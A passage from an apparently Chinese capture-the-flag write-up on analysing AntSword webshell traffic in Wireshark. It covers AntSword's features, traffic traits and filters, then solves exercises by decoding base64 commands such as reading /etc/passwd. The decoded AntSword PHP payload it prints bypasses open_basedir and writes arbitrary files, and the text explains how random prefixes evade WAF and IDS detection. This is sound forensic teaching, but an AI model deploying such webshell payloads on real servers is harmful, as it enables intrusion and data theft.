从返回的结果来看,这表明攻击者尝试执行与软件包管理相关的命令,但目标系统并不是基于 rpm 的发行版(例如 Red Hat、CentOS 或 Fedora),而可能是 Debian 系列(如 Debian、Ubuntu)或其他使用不同包管理系统的发行版,所以就是执行失败了。
不过没关系,我们继续慢慢翻,也就这几个数据包了,我们再翻翻,终于的终于我们也是在包大小为“323”的包中发现了我们需要的关键信息,继续简单分析一下就得到了.
蚁剑流量分析
蚁剑
什么是蚁剑(AntSword)?
蚁剑(AntSword)是一款开源的WebShell管理工具,主要用于渗透测试和应急响应。它由中国的安全团队开发,旨在为安全研究人员和渗透测试人员提供高效、便捷的WebShell管理和操作环境。
主要功能
- WebShell管理:
支持多种WebShell类型:包括PHP、ASP、ASPX、JSP等,适用于各种Web服务器环境。
批量管理:可以批量添加、删除和管理多个WebShell,提高管理效率。
- 文件管理:
图形化界面:提供类似文件管理器的图形界面,方便浏览和操作远程服务器上的文件和目录。
文件上传/下载:支持文件上传和下载操作,便于在远程服务器上部署或提取文件。
- 命令执行:
交互式Shell:提供类似终端的交互式命令行界面,直接在远程服务器上执行命令。
脚本执行:支持执行自定义脚本,自动化执行复杂任务。
- 数据库管理:
支持多种数据库:可以管理MySQL、MSSQL、Oracle、PostgreSQL等数据库。
数据库操作:支持执行SQL语句,进行数据库查询和管理。
- 插件扩展:
插件系统:支持安装各种功能插件,如信息收集、提权工具等,扩展蚁剑的功能。
- 通信加密:
数据加密:为了避免通信被拦截,蚁剑对WebShell的通信数据进行了加密处理,提高隐蔽性。
总结
蚁剑(AntSword)以其跨平台兼容性、强大的WebShell管理功能、直观的图形化界面和多种数据库支持,成为渗透测试和应急响应中不可或缺的工具。其插件系统和通信加密功能进一步增强了工具的灵活性和安全性。
蚁剑流量
什么是蚁剑流量?
蚁剑流量通常指的是使用蚁剑(AntSword)管理WebShell时,WebShell和蚁剑管理端之间的网络通信流量。这种流量涉及WebShell执行的各种操作,例如文件上传下载、命令执行、数据库查询等。理解蚁剑流量的产出原理对于检测和防御恶意WebShell活动非常重要。
蚁剑流量的产出原理
1.连接建立
当用户在蚁剑中添加一个WebShell地址并进行连接时,蚁剑会向目标Web服务器发送一个HTTP请求。这个请求通常包含WebShell代码的载荷,如PHP、ASP等脚本语言编写的恶意代码。
例如,对于PHP WebShell,可能是一个包含简单代码的POST请求,如:。
2.认证和握手
WebShell通过某种认证机制(如密码或密钥)与蚁剑进行握手,确认双方的合法性。
认证通常通过POST请求中包含的特定参数来实现,如密码字段。
3.命令和数据传输
认证成功后,蚁剑可以向WebShell发送各种命令。这些命令通常是通过POST请求传递的,并包含需要执行的具体指令或脚本代码。
例如,执行一个命令可能是这样一个请求:POST /path/to/webshell.php HTTP/1.1,请求体可能包含pass=5d41402abc4b2a76b9719d911017c592&cmd=ls
4.响应处理
WebShell在服务器上执行接收到的命令,并将执行结果返回给蚁剑。
服务器的响应通常是标准的HTTP响应,响应体中包含命令的输出结果。例如,返回一个目录列表或查询结果。
5.数据加密
为了防止通信被拦截,蚁剑和WebShell之间的流量通常会进行加密。常见的方法是对数据进行base64编码或使用其他加密算法。
这种加密通信增加了检测和分析的难度。
蚁剑流量特征
- 固定的路径和参数
通常,WebShell的路径是固定的,且在通信中使用特定的参数(如pass和cmd)。
- 频繁的HTTP POST请求
大多数命令和操作通过POST请求进行,因为POST请求可以携带较大的数据量并隐藏在请求体中。
- 加密或编码的数据
通信内容往往经过加密或编码,数据流中会出现base64编码或其他加密形式的字符串。
- 特定的响应模式
WebShell的响应通常是命令执行的结果,这些响应的格式和内容有别于正常的Web应用程序响应。
总结
蚁剑流量是WebShell和管理端之间的通信流量,包含命令传输和数据返回。其产出原理基于HTTP协议,通过POST请求传递命令和参数,并返回执行结果。
响应状态
在HTTP协议中,状态码用于指示服务器对客户端请求的响应状态。常见的状态码及其含义如下:
1xx: 信息响应
- 100 Continue: 继续,客户端应继续其请求。
- 101 Switching Protocols: 切换协议,服务器根据客户端的请求切换协议。
2xx: 成功响应**
- 200 OK: 请求成功,服务器已成功处理请求。
- 201 Created: 已创建,服务器已成功创建资源。
- 202 Accepted: 已接受,服务器已接受请求,但尚未处理
- 204 No Content: 无内容,服务器成功处理请求,但没有返回任何内容。
3xx: 重定向
- 301 Moved Permanently: 永久移动,请求的资源已被永久移动到新位置。
- 302 Found: 临时移动,请求的资源临时移动到新位置。
- 304 Not Modified: 未修改,自上次请求后,请求的资源未修改,客户端可以使用缓存的资源。
4xx: 客户端错误
- 400 Bad Request: 错误请求,服务器无法理解请求。
- 401 Unauthorized: 未授权,请求需要用户验证。
- 403 Forbidden: 禁止访问,服务器拒绝请求。
- 404 Not Found: 未找到,请求的资源在服务器上不存在。
- 405 Method Not Allowed: 方法不允许,服务器不支持请求所使用的方法。
5xx: 服务器错误
- 500 Internal Server Error: 服务器内部错误,服务器在处理请求时发生意外情况。
- 501 Not Implemented: 未实现,服务器不支持请求所需的功能。
- 502 Bad Gateway: 错误网关,服务器作为网关或代理,从上游服务器收到无效响应。
- 503 Service Unavailable: 服务不可用,服务器当前无法处理请求。
- 504 Gateway Timeout: 网关超时,服务器作为网关或代理,未能及时从上游服务器收到响应。
Wireshark常用查询命令
1.基本过滤器
过滤HTTP状态码200:
http.response.code == 200
过滤HTTP GET请求:
http.request.method == "GET"
2.IP 地址过滤
过滤特定源IP地址的流量:
ip.src == 192.168.1.1
过滤特定目标IP地址的流量:
ip.dst == 192.168.1.1
过滤特定源或目标IP地址的流量:
ip.addr == 192.168.1.1
3.端口过滤
过滤特定源端口的流量:
tcp.srcport == 80
过滤特定目标端口的流量:
tcp.dstport == 80
过滤特定端口的流量(无论是源端口还是目标端口):
tcp.port == 80
4.协议过滤
过滤HTTP流量:
http
过滤HTTPS流量:
ssl
过滤DNS流量:
dns
5.其他常用过滤器
过滤特定MAC地址的流量:
eth.addr == 00:11:22:33:44:55
过滤TCP重传:
tcp.analysis.retransmission
过滤TCP三次握手过程:
tcp.flags.syn == 1 && tcp.flags.ack == 0
过滤TCP连接终止过程:
tcp.flags.fin == 1
6.组合过滤器
过滤特定源IP和目标端口的流量:
ip.src == 192.168.1.1 && tcp.dstport == 80
过滤HTTP 200响应的流量:
http && http.response.code == 200
过滤HTTP 200服务器成功处理了请求:
http contains "200"
例题
1.木马的连接密码
思路:
题目问我们密码 那肯定就是上传成功了 再根据http协议,上传成功的状态码是200 OK
直接筛选出http协议中包含200(成功登录返回值)的流量包
http.response.code == 200
这种流量包要按大小来看,点length,越大内存越多肯定
追踪流所有的都是1
flag{1}
2.黑客执行的第一个命令
回看思路:
1.http contains "200"
2.第一个命令——按time排序(不知道顺序,要么是第一个,要么是最后一个)
首先,在上面我们已经总结过蚁剑流量的特征,而且也说了蚁剑连接执行命令是被编码过的,那我们只需要找到进行解码,
接着按照执行命令先后顺序找到第一个执行的(根据编码的特征可以得知是base64)
使用命令:
http contains "200"
在Wireshark中使用http contains "200"
进行过滤时——实际上是在寻找包含字符串“200”的HTTP数据包。这通常是为了查找HTTP响应状态码为200的响应包,即表示HTTP请求成功的响应包。
*
查看具体详情时看左下角的html
这一张明显不是
这一张看到base64编码,
右键编码“Value”位置,点击“显示分组字节流”,开始位置调整为“2”,解码为调整为“Base64”,查看流量包执行的命令内容;
为什么要将开始位置调整为“2”?
-
混淆技术:通过在编码前添加随机字符,生成的Payload每次都会有所不同,使得静态签名检测更加困难。这有助于避免被防火墙或入侵检测系统(IDS)基于特征码匹配进行检测和拦截。
-
防止重复检测:如果每次编码的内容都不一样,那么同一个Payload在不同时间发送时也不会被重复识别和阻挡。这对防止防火墙根据历史数据进行阻拦特别有效。
-
编码复杂度:增加随机字符使得编码后的内容更加复杂,进一步提升了防火墙分析和解码的难度。这种复杂性可以有效地躲避某些基础的WAF检测规则。
总结
蚁剑在编码前加两位随机字符主要是为了提升Payload的变异性和复杂性,从而更有效地绕过安全检测。
cd "/var/www/html";id;echo e124bc;pwd;echo 43523
或者就是试了第一个不对,就看第二个
flag{id}
3.黑客读取的文件内容
思路:题目要求在linux看来,就是cat 文件
我要读取,向服务器提出请求用”post“
http.request.method == "POST"
操作同上
第三个看到
flag{/etc/passwd}
4.上传到服务器的文件名
思路:上传——文件上传通常使用HTTP的POST方法
http.request.method == "POST"
跟上一个一样
第四个
flag{flag.txt}
5.上传的文件内容
上一题找到了文件,直接追踪流,
URL解码
整理得到完整php脚本
1=@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.368479785";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};
};
function asenc($out){return $out;};
function asoutput(){$output=ob_get_contents();ob_end_clean();echo "6960"."cb205";echo @asenc($output);echo "1e0a"."91914";
}
ob_start();
try{$f=base64_decode(substr($_POST["t41ffbc5fb0c04"],2));$c=$_POST["ld807e7193493d"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");
}catch(Exception $e){echo "ERROR://".$e->getMessage();
};
asoutput();
die();
&ld807e7193493d=666C61677B77726974655F666C61677D0A
&t41ffbc5fb0c04=0ZL3Zhci93d3cvaHRtbC9mbGFnLnR4dA==
看不懂,但可以发现,最后一行是我刚刚解码出得到文件;
那上一行指定就是文件的内容咯
flag{write_flag}
6.黑客下载的文件
下载成功肯定有响应包200
http contains "200"
前面基本都分析过了
/var/www/html/config.php
flag
flag{/var/www/html/config.php}
总结
其实这题就是关于成功相应”200“与”post“相关的问题,都一个流程